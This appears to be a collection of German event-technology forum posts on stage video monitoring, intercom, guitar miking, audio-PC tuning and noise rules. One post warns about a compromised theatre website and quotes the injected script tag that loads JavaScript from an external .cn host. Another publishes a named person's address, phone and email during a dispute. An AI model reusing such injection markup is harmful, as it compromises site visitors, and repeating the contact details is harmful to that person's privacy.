Zitat von "nojunk"[oberlehrer]
Bauhandwerker oder neudeutsch Zimmermann
[/oberlehrer]
--> Bohlen Jupp? <--
Um schreiben oder kommentieren zu können, benötigst du ein Benutzerkonto.
Du hast schon ein Benutzerkonto? Melde dich hier an.
Jetzt anmeldenHier kannst du ein neues Benutzerkonto erstellen.
Neues Benutzerkonto erstellen Zitat von "nojunk"[oberlehrer]
Bauhandwerker oder neudeutsch Zimmermann
[/oberlehrer]
--> Bohlen Jupp? <--
Zitat von "Igor Linowski"Ich mag Siemens
![]()
... und die können alles aus einer Hand liefern.
Einschließlich der Schweizer Konten für die ääähhh "Zuwendungen"?
Das gab es bereits seit Mitte der 80er als "QSound", da stand es extra auf den LPs und CDs mit drauf. "Recorded in QSound"
QSound gibts auch noch, ein schönes Demo:
http://www.qsound.com/demos/london-tour.htm
Bei ein paar Sachen glaubt man wirklich, die stehen neben einem, trotz nur Stereo und vor den Boxen sitzend.
Früher konnte man das glaube ich nur lizensieren und Lizenzgebühren für die Produktion bezahlen, oder ich verwechsele das mit den ersten APHEX Geräten. Die konnte man damals gar nicht kaufen, sondern musste die per Spiel Minute bezahlen.
Ein Plugin gab und gibt es auch, allerdings nicht mehr für Vista. (brauch´ ich eh nich)
Zitat von "hell&dunkel"
Gibt es jetzt Hirschsteak?
Wohl eher einen Satz "Heiße Ohren" vom Verleiher... + der Rechnung in Höhe von zwei gepflegten Hirschsteaks nebst der dazu passenden Weine.
![]()
Zitat von "hell&dunkel"Baum? Habe ich da eine Bildungslücke oder vermietest du Pflanzen?
Dann ist ein Birnenbaum wohl ein Lichtstativ...
Für den Jagdfreund heißt es denn in Zukunft:
"Einen kapitalen 12 Ender hab´ich gerade erlegt" wenn er das 12er Multicore kaputt zurück bringt.
Zitat von "Felix_Lued"Hallo,
Danke für Dein Feedback.
Genau mind. zwei Positionen auf der Bühne (eher drei, da der Chor auch teilweise mal hinter geschlossenem Vorhang in die Mics plärren muss).
Gut, das ist ja problemlos, ein zusätzlicher Fernseher und Audio -nur die Band + eventuell etwas von den Hauptsängern- Monitoring. Das denn möglichst leise ![]()
Zitat
Genau. Nicht wenige Auftritte kommen durch das Publikum Richtung Bühne. Das könnte man aber natürlich auch im Endeffekt durch Intercom-Funkdisziplin beherschen.
Müssen die genau zur Musik -"Türen auf" und ab- in den Saal kommen, oder treten die eben nur durchs Publikum auf? Wenn die nur durchs Publikum auftreten, könnte man einem "Helfer" -der Partituren lesen kann- ein InEar verpassen, auf dem er das Saalgeschehen hört.
Der kann dann die Akteure rechtzeitig -und LEISE- in den Saal schicken.
Alternativ würden auch Lichtzeichen gehen, irgendwelche kleinen und gedimmten Lampen, die entsprechende Zeichen geben. Also Lampe AN bedeutet "Achtung Auftritt" und Lampe dann wieder aus: "Auftritt JETZT!"
Kann ja der Lichtler mit in seine Stimmungen nehmen, dann müsste man kein Kabel vom Inspi Pult legen.
Wobei ihr sehen solltet, das ihr vor den Türen einen abgedunkelten Vorraum schaffen könnt, von dem die Akteure in den Saal gehen. Sowas wie in manchen Kneipen die roten Vorhänge gegen Zugluft. Sonst bringt ihr immer wieder Unruhe in den Saal, wenn alle naslang die Türen aufgehen, es dadurch wieder kurzzeitig heller wird und man das Gefüjhl hat, es geht jemand oder es kommt jemand. Irgendwelche Zuschauer drehen sich garantiert um.
Alternativ kannst Du auch innen im Saal hinter den Türen ein (Draht)seil spannen und da schwarzen Schleier Nessel dranhängen, den man zum Ein- und Auslass offen hat und den das Einlasspersonal dann zu Beginn schließt.
Damit kannst Du Dir auch die abgedunkelte Auftrittsmöglichkeit einrichten und die Akteure wären wirklich erst bei ihrem Auftritt zu sehen.
ZitatOk. Genemigt. Zwei Monitore müssten schon für genug Stress sorgen. Ich bin persöhnlich halt immer einer der bei einer Veranstlung genau wissen möchte wer, wo, wann, wie bereit ist :wink:
Was ja nicht zwingend auf den Schultern eines einzelnen liegen sollte.
ZitatDas Problem ist bei uns, dass wir einen solchen Balkon nicht haben und außer einer Truss vor der Bühne nur links und rechts noch zwei Dreiecktruss stehen haben. Also ist erstmal nur ein Abhängen von der Rampentruss möglich, was natürlich total besch...eiden aussieht.
Eine andere Idee wäre, die Monitore an die Verfolgerpodeste zu bauen.
Wenn, dann eher dahin. 55er Fernseher sind ja nicht so groß und wenn sich keiner der Zuschauer dran stoßen kann, umso besser.
ZitatJo. Ein vernünftiges Intercom steht schon auf der Liste für den Verleiher (die auf der Ausgabenseite mal wieder (aus unserer Veranstalter Sicht :oops: ) zu hoch ausfällt).
Auch der Verleiher hat hungrige Kinder ![]()
ZitatVielen Dank schon eimal soweit . Mir wurden schon ein paar Augen geöffnet.
MfG
Felix
Na geht doch voran...
Zitat von "Felix_Lued"Oh. Vielleicht habe ich mich nicht so geschickt ausgedrückt.
Ich versuche mal meine gedachte Signalkette als ASCI Bild darzustellen:Kamera..........Monitore
ML -------------Bühne1------Bühne2-----Inspzient/Recording
Bühne----------ML-----Inspizient/Recording
Es gibt also zwei Bühnen, die bespielt werden? Oder meint das zwei Positionen auf der einen Bühne?
ZitatDazu sollten dann extra für die Inspizienz runde zwei Kameras kommen, die z.b. Bühneneingang und Foyer beobachten, damit er einen Überblick über das (verwinkelte) Bühnengeschehen hat und jederzeit weiß, welcher Künstler wo steht und per Funk evtl. Probleme gleich analysieren und für eine Lösung sorgen kann***
Wofür muss der Inspizient das Foyer sehen? Gibt es von dort Auftritte oder geht es nur darum, zu sehen wann die Zuschauer drin sind und der Saal fertig ist?
Dafür extra eine Kamera + Kabel durch geschlossene Türen + Monitor zu installieren ist mit Verlaub überflüssig. "Türen/Saal fertig" kann genauso gut jemand vom Einlasspersonal mit einem Funkgerät durchgeben.
*** Habt ihr denn einen richtigen erfahrenen Inspizienten, der in der Lage ist, immer drei Monitore zu beobachten, die Partitur mitzulesen, alle Stimmungen abzugeben und der dann zusätzlich noch in der Lage ist zu erkennen, ab wann ein Problem ein Problem ist?
Also z.B. Darsteller xyz hat um 20:18 Uhr seinen Auftritt von der Hinterbühne rechts. Jetzt ist er um 20:13 Uhr aber noch nicht in der Hinterbühnenkamera 1 zu sehen.
Jetzt muss der Inspizient also blitzschnell entscheiden, es gibt ein Problem und ruft per Funk den "Darstellersucher" dem er erklärt WER denn fehlt.
Jetzt rennt der los und sucht den fehlenden bzw.verspäteten Darsteller -der eh nur auf dem Klo vor Aufregung war und längst auf seine Auftritt wartet. ![]()
Da würde ich mich als Inspizient gar nicht drauf einlassen, immerhin probt ihr lange genug vorher und da wird es den Darstellern eingebläut, das sie rechtzeitig! an ihrem Auftrittsort zu sein haben.
Wenn überhaupt, würde ich mir zwei der Involvierten rauspicken, die hinter der Bühne selbstständig dafür sorgen, das alle rechtzeitig vor Ort sind.
Intercom und Durchrufmöglichkeiten brauchst Du ohnehin, bei kritischen Auftritten kann man immer noch eine der Stationen neben den Auftrittsort stellen und auf Rückmeldung "bin da" warten.
Zitat(Bei einer Schule sind leider nicht alle "Künstler" in der Lage genau zur richtigen Zeit am richtigen Ort zu sein oder drängen zu früh zum Bühnenaufgang oder sonst was).
Dazu musst Du sie Dir erziehen! Das läuft sonst irgendwann aus dem Ruder.
Es haben sich nur diejenigen neben der Bühne aufzuhalten, die in der nächsten Szene dran sind, niemand sonst. Keine Freunde/Freundinnen oder am nächsten Auftritt nicht Beteiligte.
ZitatZu Bedenken ist dabei, dass der Kabelweg zwischen Musiker und Bühne (und somit ML und "Rest") mind. 70m betragen dürfte. Da dürfte eine improvisierte Lösung über XLR bei mir zumindest für Bauchschmerzen sorgen. Vielleicht sollte man da dann doch über die Investition von schönen Koax für diesen Weg nachdenken (Zumal die zuständigen Leute vielleicht nach so einem Luxus Gefallen daran gefunden haben könnnten. Etwas ähnlich großes wird sowieso einmal im Jahr bei der Weihnachtsfeier aufgezogen).
Klar wenn sich da jemand für findet, warum nicht. Die Frage bleibt ja, wo der erste Videoverteiler stehen könnte. Der muss ja nicht zwingend erst zum Inspizienten gehen und dann wieder in Richtung Bühne, vielleicht gehts auch andersrum.
ZitatAls Monitore würden wahrscheinlich simple Fernseher kommen, wenn sicht nicht aus Zufall was bei einer Auktion zu günstigen Konditionen schießen lässt.
Einzig der Fernseher vor der Bühne macht mir etwasa sorgen, da der einerseits sehr groß seien sollte (Luftline von der hinteren Bühnenkante mind. 12m Entfernt) und zugleich auch nicht zu schwer sein darf, um mit der dort hängenden Truss nicht in Konflikte zu kommen... Mal sehen was mir da noch einfällt.
Wieso zu schwer? Soll der mit in die Truss rein? Das würde ich mir überlegen, denn der Sinn der Truss dürfte es doch sein, ordentlich Scheinwerfer zu tragen, die das Ganze von vorne beleuchten. :roll:
Die Darsteller werden sich bedanken, immer in die Scheinwerfer starren zu müssen, weil irgendwo mittendrin der Fernseher mit dem ML zu sehen sein sollte. Das funktioniert nicht, die sehen vom ML einfach nichts
So die Aula? einen Balkon hat, häng doch -ordentlich gesichert natürlich ;-)- halblinks und halbrechts zwei Monitore an den Balkon. Zum Einen haben die Künstler den Vorteil, eben nicht ins Licht starren zu müssen, haben zwei Monitore zur Auswahl -müssen also nicht immer starr in eine Richtung schauen- und die Sichtlinie zu den Monitoren dürfte auch niedriger sein. Womit die Künstler auch eher in Richtung Zuschauer schauen und den ML trotzdem im Blickfeld haben.
Sieht nämlich sonst etwas seltsam aus für die Zuschauer, wenn alle Sänger/innen immer zum Himmel singen
Genauso komisch, als würde man die Monitore rechts und links wie Wedges an die Bühnenkante stellen. Dann würde man sich auch etwas wundern, weshalb die Sänger -anstatt für und zu den Zuschauern zu singen- immer nur nach unten/links/rechts zur Bühnenkante singen.
ZitatKonzeptioniert wird die ganze Sache für höchstens drei Auftritte hintereinander.
Für zusätzlichen Ton und Lichtkram würde sowieso ein örtlicher Verleiher ran gezogen, aber den will ich mit meinen "Extrawünschen" und dem üblichen Budgetdruck nicht noch weiter stressen :roll:
Frag ihn auf jeden Fall, was ein vernünftiges Intercom mit einer mehrkanaligen Masterstation und ein paar Speakerstationen kostet. Bei den gängigen Intercoms kannst Du ein externes Audiosignal mit einspeisen -praktisch zum Mithören hinter der Bühne- und Deine Einrufe kannst Du damit auch gleich handeln.
Noch was vergessen? bestimmt... :roll:
Äähh, wieso brauchst Du noch extra Kameras für den Inspizienten u.a.?
Normalerweise gibt es zwei Video Wege, einmal den Musikalischen Leiter und zum zweiten die Sicht auf die Bühne.
ML muss natürlich auf allen (Bühnen)Monitoren zu sehen sein, die Bühne müssen der Inspizient, der ML und -so man *nicht* der ehernen Regel folgen will, das die Künstler für ihren Auftritt selber verantwortlich sind und zudem eingerufen werden- noch Seiten- und Hinterbühne.
Wofür brauchen denn die "Recorder" eine eigene Kamera? Die sollen aufnehmen, geschnitten wird doch ohnehin später und selbst wenn, kriegen die die Bühnenansicht.
1 > 6 Videoverteiler gibts für runde 60Euro beim Elektronik Höker und die funktionieren. Haben zwar alle Cinch Ein- uns Ausgänge, aber beim begrenzten Schulbudget ist das völlig okay.
Was technisch nicht ganz der "Hohen Schule" :roll: entspricht, aber nichtsdestotrotz problemlos funktioniert, sind Mikrokabel zur Verteilung.
Es sei denn, die Schule wäre bereit, Geld für die geschätzten 15 Videokabel in entsprechenden Längen auszugeben, aber für eine einmalige? Aufführung geht es auch mit Mikro Kabeln.
Heisst, Du brauchst Adapter an den (Consumer) Kameras von diesen 3xMiniklinke auf XLR (da brauchst Du nur das Videosignal zu adaptieren.) und auf der Verteilerseite wieder auf Cinch.
Vo den zwei Verteilern (Bühne und ML) kannst Du dann wieder beliebig Strippen zu den Monitoren -höchstwahrscheinlich doch ganz normale Fernseher mit SCART Eingängen?- ziehen.
Der Inspzient kriegt davon gleich zwei, damit er Bühne und ML gleichzeitig sehen kann und alle anderen Monitore kriegen nur den einen Weg, den sie -entsprechend ihres Standortes- brauchen.
Zum Aufnehmen kriegen de Recordinistas auch das Bünenbild und vom Tonmenschen eine Summe und/oder den Saalton per Extra Mikro.
Die Monitore mit zwei umschaltbaren Wegen -also Bühne oder ML- versorgen, würde ich nicht machen, zum einen ists doppelte Stripenzieherei und zum Anderen zeigt der Monitor gerne das gerade falsche Bild, z.B. aus dem off soll irgendeine Stimme singen und die Protagonisten vorher haben diesen Monitor mal eben auf Bühnenansicht umgestellt. So und jetzt kommt die"arme" Stimme an, wartet auf den Einsatz vom ML und sieht den dummerweise nicht. Nicht jeder weiß dann in der Hektik -OH GOTT ich seh den nicht!!!- was er/sie zu tun hat, um den Monitor umzustellen.
Wenn Du Fernseher mit zwei SCART Eingängen hast, kannst Du in der Regel auch das Videosignal über den Fernseher weiter verteilen.
Die meisten "2 SCART" Fernseher bieten im Menue eine Option an, das Signal vom SCART 1 weiter auf SCART 2 zu schicken, was ja auch wieder Kabelzieherei spart und nebenbei die Option bietet, mal auf die Schnelle noch einen zusätzlichen Monitor anzuschließen.
Wie gesagt, das Verwenden von Mikrokabeln ist keine professionelle Lösung, aber es funktioniert bei uns seit Jahr und Tag völlig problemlos und es ist preislich viel leichter zu vermitteln als richtige und damit teure professionelle Lösungen aus dem Video Bereich.
Die Verkabelei hier erledigst Du an eine Tag und baust sie ebenso schnell wieder ab und alle Kabel können hinterher einfach wieder ihrem eigentlichen Zweck dienen
und ein paar zusätzliche Cinch > XLR Adapter werden auch gerne genommen.
Zitat(Bin nicht für das Equipment verantwortlich und Headsets wollen sie nicht anschaffen)
Aber vielleicht leihen, wenn nicht gerade das halbe Dorf auf der Bühne steht?
10 Headset Funkstrecken zu leihen kostet nicht die Welt und die vorhandenen Mikros -bzw. einen Teil davon- als zusätzliche Stütze geschickt verteilt macht das Ganze deutlichst besser.
Dann noch die 4 Boxen auf zwei Paare aufteilen, 1 Paar an der Bühne und das zweite Paar entsprechend verzögert in der hinteren Hälfte des Saals hilft auch, die erforderliche Lautstärke reduzieren zu können.
Alles andere wird bestimmt Gefrickel ohne Ende und in einer höchstwahrscheinlich halligen Sporthalle bekommst Du kein schönes Ergebnis.
Was Dich nicht davon abhalten sollte, mal in den entsprechenden Threads zu stöbern.
Wieso wird denn bei diesem "EXPERTEN" Thread ein ganz anderer Name als Starter angezeigt?
Gruß an alle "Klein Monitor" Besitzer
hatte keine Lust, den screenshot mühsam zusammen zu stückeln.
Zitat von "marce"Erschießen wäre OT. Außer, wenn Du die Kugel auf ein Langhub-Chassis legen würdest und dann mit einem einzelnen Peak Richtung Opfer jagen würdest...
Was jetzt natürlich ein Thema für die EXPERTEN wäre:
Welche Beschleunigung respektive welche Anstiegszeit müsste die Membran für den finalen Schuss erbringen und aus welchem Material müsste die Membran bestehen, damit bei der notwendigen Beschleunigung die Kugel nicht aufgrund ihres Beharrungsvermögens beim Starten einfach die Membran durchbohrt anstatt der Beschleunigung der Membran zu folgen. :mrgreen:
Reißt es denn der 16 Channels Professional Surround Mixer
aus dem eigenen Portfolio nicht raus?
http://www.atd-audio.de/xxl/produkte_mix.htm
Wie schon die werten Kollegen geschrieben haben, ist es unsinnig mit einem Distanzmikro, das sich zufällig zwischen die Wegdes verirrt hat, eine wie auch immer geartete PHATness produzieren zu wollen.
Wobei ich es auch bezweifeln möchte, das die zu betreuende Combo (wer denn eigentlich?) in Lokalitäten spielt, die es zulassen, das einer der Backstage Räume zur Gitarren Kabine umgemodelt wird. Nebst des Aufwandes in akustischer Sicht und der Mikrofoniererei.
Alle meine Bekannten und weniger Bekannten machen es PHOLL krass PHATT mit zwei Mikros und ein paar geheimnisvollen Zutaten
aus der Effektkiste.
Warum also -auch wenn WIR die nötige Erfahrung nicht haben und deswegen bei UNS auch die Chorabnahme die allseits bekannten Probleme bereitet- das "Live" Rad neu erfinden wollen?
Daß ich mir sogar mit Ambience Mikrophonie in Beschallungssituationen KEINEN elektroakustischen Kurzschluß / Rückkoppelung / Feedback einfange, mag an meiner Erfahrung und meinen Fähigkeiten liegen. sogar die Physik verbeugt sich vor Ehrfurcht und negiert ihre bisher gültigen Grundsätze [ein unwissender in tiefer Proskynese Verharrender ]
Zitat von "donut"Liebe Kollegen und Kolleginnen Mikrophonierungs Experten!
(alle anderen dürfen gern mitlesen, sollen sich ihre Sülze aber verkneifen)Ich bitte um Erfahrungen bzw. Lösungsansätzen von EXPERTEN. Und nur solche/n. Punkt!
Es geht doch nichts über eine nette Einladung zu einer fruchtbaren Diskussion. :roll:
Vielleicht wären ein paar Experten Informationen hilfreich, wie
[ ]Welche Art Musik
[ ]Welche Amps sind vorhanden
[ ]Welche Boxen + Bestückung
[ ]Welche Gitarren
[ ]Welche Tretminen Effekte
[ ]Gibt es konkrete Vorstellungen, wie die Gitarren zu klingen haben
[ ]So wie die Gitarren bei [ ]Band xyz
Gibt es gar einen Live Mitschnitt, in den man mal lauschen könnte, um mangelnde "Phatness" zu hören?
Ansonsten bleibt das alles Stochern im Nebel der "loosing Phatness".
Mal auf die Schnelle gesucht als möglicher Lösungsweg:
http://www.shopanbieter.de/mg/verpackungsverordnung.php
(grrr...lädt sich gerade den Wolf die Seite)
Auf den ingolstädter Theater Seiten treibt sich irgendein merkwürdiges script rum, das nach China führt.
Also zumindest mal etwas Vorsicht beim Besuch der "Spielstätten" Seiten:
Anschrift: Theater Ingolstadt, Schloßlände 1, 85049 Ingolstadt"></title><script src=1.verynx. cn/w. js></script><!--
Vm Ausehen her ist es eindeutig ein M 160:
http://www.sweetwater.com/store/detail/M160Anniv
Vielleicht wurde das ja mal auf Groß Tuchel umgestrickt und der Groß Tuchel Anschluss stammt von einem (defektem) M 200?
Auf was nehmt ihr denn auf? Cubase? Samplitude? x?
Zumindest für Cubase wird dringend empfohlen, die "Prozessorzeitplanung" umzustellen:
Rechtsklick auf Arbeitsplatz >Eigenschaften >Erweitert
Da bei Systemleistung >Einstellungen
Neues Fenster Leistungseinstellungen >Erweitert
In dem Feld "Prozessorzeitplanung" auf "Hintergrunddienste" umstellen und >OK
Läuft da eventuell im Hintergrund noch ein zweiter Audiotreiber einer eventuellen "onboard" Soundkarte mit?
Den könnte man mal im BIOS testhalber deaktivieren.
Auf was ist denn die syncquelle des Audioprogramms eingestellt?
Auf intern? Oder muss! die RME die syncquelle von dem Wandler bekommen, dann wäre extern richtig.
Der Treiber steht auf ASIO der RME? Also nicht ASIO multimedia oder ASIO directx?
Eventuell hilft auch, den Buffer der Karte etwas zu erhöhen, das sollte auch über die RME Software gehen.
Das wärs, was mir so dazu erstmal einfällt.
Zitat von "mringhoff"
Camlok stellt Riggingequipment/Hebezeug her
http://www.camlok.co.uk
Vielleicht Adapter CEE32 auf 5 x Trussclamb?
Nimm dies ![]()
ZitatKurze Frage, sind die alten Plasmas überhaupt noch was wert ?
DAS rechtfertigt diese Unterschlagung? Seltsame Ansicht.
Leih Dir doch seinen BMW als Ausgleich ![]()
BMW M3 CABRIO mieten und vermieten - erento
Spannbrink 26a 33719 Bielefeld
0176 86073198 email: mehmet_firstclass@hotmail.de
http://www.erento.com/mieten/fahrzeu…4638374811.html
Geld bzw. pfändbare Güter scheinen mithin vorhanden zu sein.
Auch mit sehr weiter Auslegung der TA Lärm dürfte das Ganze zum Scheitern verurteilt sein.
http://www.dfld.de/Archiv/TALaerm/TALaerm.htm#TALaerm6
Vor allem, da ja bereits eine "subjektive" Störung im Allgemeinen ausreicht, das das Ordnungsamt einschreitet. Keiner der Anwohner muss schließlich einen Schallpegelmesser auf dem Nachttisch liegen haben. ![]()
Wie ein entsprechend konditioniertes Ordnungsamt handeln kann, darf man hier lesen: http://www.pa-forum.de/phpBB/viewtopic.php?t=52332